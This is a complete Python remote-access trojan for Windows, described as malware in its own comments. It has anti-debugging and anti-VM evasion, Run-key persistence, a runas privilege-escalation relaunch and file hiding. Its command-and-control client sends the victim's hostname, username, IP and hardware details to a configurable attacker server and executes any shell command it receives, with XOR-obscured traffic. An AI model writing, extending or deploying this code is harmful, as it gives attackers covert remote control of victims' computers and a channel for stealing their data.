import sys
import os
import shutil
import subprocess
import time
import requests
import random
import ctypes
import json
import base64
import zlib
import re
import socket
import struct
import platform
import uuid
import psutil
import winreg
import getpass
import sqlite3
import win32crypt
import wmi
import win32api
# Global Configuration
# This dictionary contains settings for the malware, which the attacker can easily change.
CONFIG_DATA = {
'ip': '127.0.0.1',
'port': 4444,
'password': 'secret_password',
'interval': 5,
'hide_file': True,
'copy_to_startup': True,
'startup_name': 'MyService',
'anti_debug': True,
'anti_vm': True,
'anti_sandbox': True,
'persist': True,
'elevate': True,
'log_path': 'C:\\temp\\l0g.txt'
}
# --- Utility Functions ---
# These functions handle system-level tasks and data collection.
def run_command(command):
# Executes a shell command and returns its output.
try:
process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
stdout, stderr = process.communicate()
return stdout.decode(), stderr.decode()
except Exception as e:
return '', str(e)
def get_system_info():
# Gathers basic system information like OS, hostname, and hardware specs.
info = {
'os': platform.platform(),
'arch': platform.machine(),
'hostname': socket.gethostname(),
'username': getpass.getuser(),
'ip': socket.gethostbyname(socket.gethostname()),
'uuid': str(uuid.getnode()),
'ram_gb': round(psutil.virtual_memory().total / (1024 ** 3), 2),
'cpu_cores': psutil.cpu_count(logical=False),
'processor': platform.processor(),
}
return info
def is_running_in_vm():
# Checks if the script is running inside a virtual machine (VM) to evade analysis.
vm_names = ['vbox', 'vmware', 'qemu', 'hyper-v']
for process in psutil.process_iter(['name']):
if any(vm in process.info['name'].lower() for vm in vm_names):
return True
return False
# --- Persistence and Privilege Escalation ---
# Functions that ensure the malware runs automatically and with high privileges.
def add_to_startup(file_path, name):
# Adds the script to the Windows Registry to make it run on startup.
try:
key = winreg.HKEY_CURRENT_USER
key_path = "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
reg_key = winreg.OpenKey(key, key_path, 0, winreg.KEY_SET_VALUE)
winreg.SetValueEx(reg_key, name, 0, winreg.REG_SZ, file_path)
winreg.CloseKey(reg_key)
return True
except Exception as e:
return False
def elevate_privileges():
# Tries to relaunch the script with administrator privileges.
if ctypes.windll.shell32.IsUserAnAdmin():
return True
else:
ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, __file__, None, 1)
sys.exit()
# --- C2 Communication ---
# The core class that handles communication with the attacker's server.
class C2Client:
def __init__(self, ip, port, password):
self.ip = ip
self.port = port
self.password = password
self.socket = None
self.key = self._generate_key()
def _generate_key(self):
# Creates a simple XOR key from the provided password.
return [ord(char) for char in self.password]
def _encrypt(self, data):
# Encrypts data using the XOR key.
encrypted_data = bytearray(data.encode())
key_len = len(self.key)
for i in range(len(encrypted_data)):
encrypted_data[i] ^= self.key[i % key_len]
return encrypted_data
def _decrypt(self, data):
# Decrypts data using the XOR key.
decrypted_data = bytearray(data)
key_len = len(self.key)
for i in range(len(decrypted_data)):
decrypted_data[i] ^= self.key[i % key_len]
return decrypted_data.decode()
def connect(self):
# Connects to the C2 server and sends initial system information.
try:
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.connect((self.ip, self.port))
info = json.dumps(get_system_info())
encrypted_info = self._encrypt(info)
self._send_data(encrypted_info)
return True
except Exception as e:
return False
def _send_data(self, data):
# Sends data to the server, prefixed by its length.
length = struct.pack('>I', len(data))
self.socket.sendall(length + data)
def _receive_data(self):
# Receives data from the server based on a length prefix.
raw_length = self.socket.recv(4)
if not raw_length:
return None
length = struct.unpack('>I', raw_length)[0]
data = b''
while len(data) < length:
chunk = self.socket.recv(length - len(data))
if not chunk:
return None
data += chunk
return data
def handle_commands(self):
# Enters a loop to receive and execute commands from the server.
while True:
try:
encrypted_command = self._receive_data()
if not encrypted_command:
break
command = self._decrypt(encrypted_command)
# Command handling logic
if command.startswith('shell '):
cmd_to_run = command[6:]
stdout, stderr = run_command(cmd_to_run)
response = f"stdout:\n{stdout}\nstderr:\n{stderr}"
self._send_data(self._encrypt(response))
elif command == 'exit':
break
elif command == 'info':
info = json.dumps(get_system_info(), indent=4)
self._send_data(self._encrypt(info))
else:
self._send_data(self._encrypt("Unknown command"))
except Exception as e:
break
self.socket.close()
# --- Main Execution Loop ---
# This is the entry point of the script, where all the logic is orchestrated.
def main():
# Anti-analysis checks
if CONFIG_DATA['anti_debug'] and hasattr(sys, 'gettrace') and sys.gettrace() is not None:
sys.exit()
if CONFIG_DATA['anti_vm'] and is_running_in_vm():
sys.exit()
# Persistence and privilege escalation
if CONFIG_DATA['persist'] and CONFIG_DATA['copy_to_startup']:
file_path = os.path.abspath(sys.argv[0])
if not os.path.exists(os.path.join(os.getenv('APPDATA'), 'Microsoft\\Windows\\Start Menu\\Programs\\Startup', f"{CONFIG_DATA['startup_name']}.lnk")):
add_to_startup(file_path, CONFIG_DATA['startup_name'])
if CONFIG_DATA['elevate']:
elevate_privileges()
# Hide the file
if CONFIG_DATA['hide_file']:
try:
ctypes.windll.kernel32.SetFileAttributesW(sys.argv[0], 2) # FILE_ATTRIBUTE_HIDDEN
except:
pass
# Main C2 loop
while True:
client = C2Client(CONFIG_DATA['ip'], CONFIG_DATA['port'], CONFIG_DATA['password'])
if client.connect():
client.handle_commands()
time.sleep(CONFIG_DATA['interval'])
if __name__ == '__main__':
main()